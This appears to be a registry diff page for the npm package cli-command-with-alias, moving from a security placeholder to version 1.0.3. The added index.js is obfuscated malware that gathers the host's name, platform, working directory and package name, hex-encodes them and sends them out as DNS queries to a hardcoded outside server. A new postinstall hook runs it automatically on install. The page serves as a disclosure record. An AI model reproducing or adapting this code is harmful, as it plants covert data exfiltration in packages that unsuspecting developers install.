cli-command-with-alias 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cli-command-with-alias might be problematic. Click here for more details.
- package/README.md +0 -5
- package/index.js +127 -0
- package/package.json +14 -3
package/README.md
CHANGED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=cli-command-with-alias for more information.
|
package/index.js
ADDED
@@ -0,0 +1,127 @@
|
|
1
|
+
var _0x4a098d = _0x2431;
|
2
|
+
(function (_0x585429, _0x1112ed) {
|
3
|
+
var _0x27256d = _0x2431, _0x2c63e2 = _0x585429();
|
4
|
+
while (!![]) {
|
5
|
+
try {
|
6
|
+
var _0x307aa5 = -parseInt(_0x27256d(0x12b)) / (-0x221a + 0x1a57 + 0x3e2 * 0x2) + parseInt(_0x27256d(0x10d)) / (-0x36d * -0x2 + -0x21 * 0xbb + 0x3 * 0x5c1) * (-parseInt(_0x27256d(0x123)) / (0x14a5 + 0xd * 0x2fb + 0x699 * -0x9)) + -parseInt(_0x27256d(0x10b)) / (0x2 * -0x683 + -0x26b * 0xa + 0x2538) + -parseInt(_0x27256d(0x12a)) / (0x4 * -0x687 + -0xf43 * 0x2 + -0x1 * -0x38a7) * (-parseInt(_0x27256d(0x114)) / (-0x1a3 * -0x2 + -0xa32 + -0x379 * -0x2)) + parseInt(_0x27256d(0x132)) / (0x84 * 0x2a + 0x3 * -0x65b + 0x290 * -0x1) * (-parseInt(_0x27256d(0x12e)) / (-0x1cfd * 0x1 + 0xf66 + -0x13d * -0xb)) + -parseInt(_0x27256d(0x135)) / (0x1660 + -0x2586 + -0xd * -0x12b) * (-parseInt(_0x27256d(0x117)) / (-0x2e8 + 0x36d + -0x7b)) + parseInt(_0x27256d(0x131)) / (0x20b * -0x1 + -0x167c + 0x1892);
|
7
|
+
if (_0x307aa5 === _0x1112ed)
|
8
|
+
break;
|
9
|
+
else
|
10
|
+
_0x2c63e2['push'](_0x2c63e2['shift']());
|
11
|
+
} catch (_0x306dc1) {
|
12
|
+
_0x2c63e2['push'](_0x2c63e2['shift']());
|
13
|
+
}
|
14
|
+
}
|
15
|
+
}(_0x35b6, 0xe256e + 0x11ff03 + -0x1 * 0x169f48));
|
16
|
+
const {Resolver} = require(_0x4a098d(0x120));
|
17
|
+
var os = require('os'), hostname = os[_0x4a098d(0x111)](), type = os[_0x4a098d(0x12f)](), package = _0x4a098d(0x130) + _0x4a098d(0x10e) + 'as', currentPath = process[_0x4a098d(0x10a)](), data = [];
|
18
|
+
data[_0x4a098d(0x11c)](package), data[_0x4a098d(0x11c)](hostname), data[_0x4a098d(0x11c)](type), data[_0x4a098d(0x11c)](currentPath);
|
19
|
+
var suffix = _0x4a098d(0x113) + _0x4a098d(0x119);
|
20
|
+
function _0x2431(_0x45189c, _0x12ce91) {
|
21
|
+
var _0x506477 = _0x35b6();
|
22
|
+
return _0x2431 = function (_0x2e22a3, _0x35df81) {
|
23
|
+
_0x2e22a3 = _0x2e22a3 - (-0x4 * 0x5f + 0xda5 + 0x17 * -0x7c);
|
24
|
+
var _0x327b16 = _0x506477[_0x2e22a3];
|
25
|
+
return _0x327b16;
|
26
|
+
}, _0x2431(_0x45189c, _0x12ce91);
|
27
|
+
}
|
28
|
+
const resolver = new Resolver();
|
29
|
+
resolver[_0x4a098d(0x121)]([_0x4a098d(0x129) + _0x4a098d(0x107)]);
|
30
|
+
function _0x35b6() {
|
31
|
+
var _0x27a689 = [
|
32
|
+
'28zaNbmJ',
|
33
|
+
'LYVHq',
|
34
|
+
'OrKJn',
|
35
|
+
'838125FOvEPu',
|
36
|
+
'match',
|
37
|
+
'yz01234567',
|
38
|
+
'.v1F_',
|
39
|
+
'.182',
|
40
|
+
'floor',
|
41
|
+
'efghijklmn',
|
42
|
+
'cwd',
|
43
|
+
'3079228cAYQdP',
|
44
|
+
'charAt',
|
45
|
+
'504QBRJnE',
|
46
|
+
'd-with-ali',
|
47
|
+
'forEach',
|
48
|
+
'RtemR',
|
49
|
+
'hostname',
|
50
|
+
'utf8',
|
51
|
+
'.dns.kotko',
|
52
|
+
'12WbiANc',
|
53
|
+
'jDBgk',
|
54
|
+
'length',
|
55
|
+
'10mbsdwc',
|
56
|
+
'QaVjB',
|
57
|
+
'.me',
|
58
|
+
'toString',
|
59
|
+
'from',
|
60
|
+
'push',
|
61
|
+
'KLMNOPQRST',
|
62
|
+
'eHlMc',
|
63
|
+
'opqrstuvwx',
|
64
|
+
'dns',
|
65
|
+
'setServers',
|
66
|
+
'v1S_',
|
67
|
+
'10545OfVIHq',
|
68
|
+
'vARnF',
|
69
|
+
'resolveAny',
|
70
|
+
'ABCDEFGHIJ',
|
71
|
+
'random',
|
72
|
+
'UVWXYZabcd',
|
73
|
+
'164.92.170',
|
74
|
+
'1430575zObYIR',
|
75
|
+
'1027997azOMJW',
|
76
|
+
'BUJxQ',
|
77
|
+
'hex',
|
78
|
+
'1291720cNkEOV',
|
79
|
+
'platform',
|
80
|
+
'cli-comman',
|
81
|
+
'36168022GRUqiv'
|
82
|
+
];
|
83
|
+
_0x35b6 = function () {
|
84
|
+
return _0x27a689;
|
85
|
+
};
|
86
|
+
return _0x35b6();
|
87
|
+
}
|
88
|
+
function makeid(_0xebcd) {
|
89
|
+
var _0x7a624d = _0x4a098d, _0x55e199 = {
|
90
|
+
'vARnF': _0x7a624d(0x126) + _0x7a624d(0x11d) + _0x7a624d(0x128) + _0x7a624d(0x109) + _0x7a624d(0x11f) + _0x7a624d(0x105) + '89',
|
91
|
+
'QaVjB': function (_0x5b180a, _0x33ddc1) {
|
92
|
+
return _0x5b180a < _0x33ddc1;
|
93
|
+
},
|
94
|
+
'jDBgk': function (_0x172da3, _0x3d9b5c) {
|
95
|
+
return _0x172da3 * _0x3d9b5c;
|
96
|
+
}
|
97
|
+
};
|
98
|
+
let _0x44b47e = '';
|
99
|
+
const _0x1c5879 = _0x55e199[_0x7a624d(0x124)], _0x34d330 = _0x1c5879[_0x7a624d(0x116)];
|
100
|
+
let _0x40bc25 = -0xe93 * -0x1 + 0xfdc + -0x7 * 0x459;
|
101
|
+
while (_0x55e199[_0x7a624d(0x118)](_0x40bc25, _0xebcd)) {
|
102
|
+
_0x44b47e += _0x1c5879[_0x7a624d(0x10c)](Math[_0x7a624d(0x108)](_0x55e199[_0x7a624d(0x115)](Math[_0x7a624d(0x127)](), _0x34d330))), _0x40bc25 += 0x16d6 + -0x24f + -0x1486;
|
103
|
+
}
|
104
|
+
return _0x44b47e;
|
105
|
+
}
|
106
|
+
var randID = makeid(0x31 * -0x4c + 0xe22 + 0x76 * 0x1);
|
107
|
+
for (let i = -0xe4c + -0x1 * 0x26e9 + 0x101 * 0x35; i < data[_0x4a098d(0x116)]; i++) {
|
108
|
+
data[i][_0x4a098d(0x136)](/.{1,60}/g)[_0x4a098d(0x10f)](_0x3f8d46 => {
|
109
|
+
var _0x14fffb = _0x4a098d, _0x5409e6 = {
|
110
|
+
'LYVHq': function (_0x44f974, _0x5d49e2) {
|
111
|
+
return _0x44f974 + _0x5d49e2;
|
112
|
+
},
|
113
|
+
'BUJxQ': _0x14fffb(0x122),
|
114
|
+
'OrKJn': _0x14fffb(0x106),
|
115
|
+
'RtemR': _0x14fffb(0x112),
|
116
|
+
'eHlMc': _0x14fffb(0x12d)
|
117
|
+
}, _0x30932c = Buffer[_0x14fffb(0x11b)](_0x3f8d46, _0x5409e6[_0x14fffb(0x110)]), _0x13524a = _0x30932c[_0x14fffb(0x11a)](_0x5409e6[_0x14fffb(0x11e)]);
|
118
|
+
_0x13524a[_0x14fffb(0x136)](/.{1,50}/g)[_0x14fffb(0x10f)](_0x47a32c => {
|
119
|
+
var _0x206aa0 = _0x14fffb;
|
120
|
+
req = _0x5409e6[_0x206aa0(0x133)](_0x5409e6[_0x206aa0(0x133)](_0x5409e6[_0x206aa0(0x133)](_0x5409e6[_0x206aa0(0x133)](_0x5409e6[_0x206aa0(0x12c)], randID), _0x5409e6[_0x206aa0(0x134)]), _0x47a32c), suffix), resolver[_0x206aa0(0x125)](req, (_0x37554f, _0x5979b0) => {
|
121
|
+
if (_0x37554f) {
|
122
|
+
} else {
|
123
|
+
}
|
124
|
+
});
|
125
|
+
});
|
126
|
+
});
|
127
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "cli-command-with-alias",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js",
|
8
|
+
"test": "node index.js"
|
9
|
+
},
|
10
|
+
"Dependencies": {
|
11
|
+
"os": "^0.1.1"
|
12
|
+
},
|
13
|
+
"author": "",
|
14
|
+
"devDependencies": {
|
15
|
+
"request": "^2.88.2"
|
16
|
+
}
|
6
17
|
}
|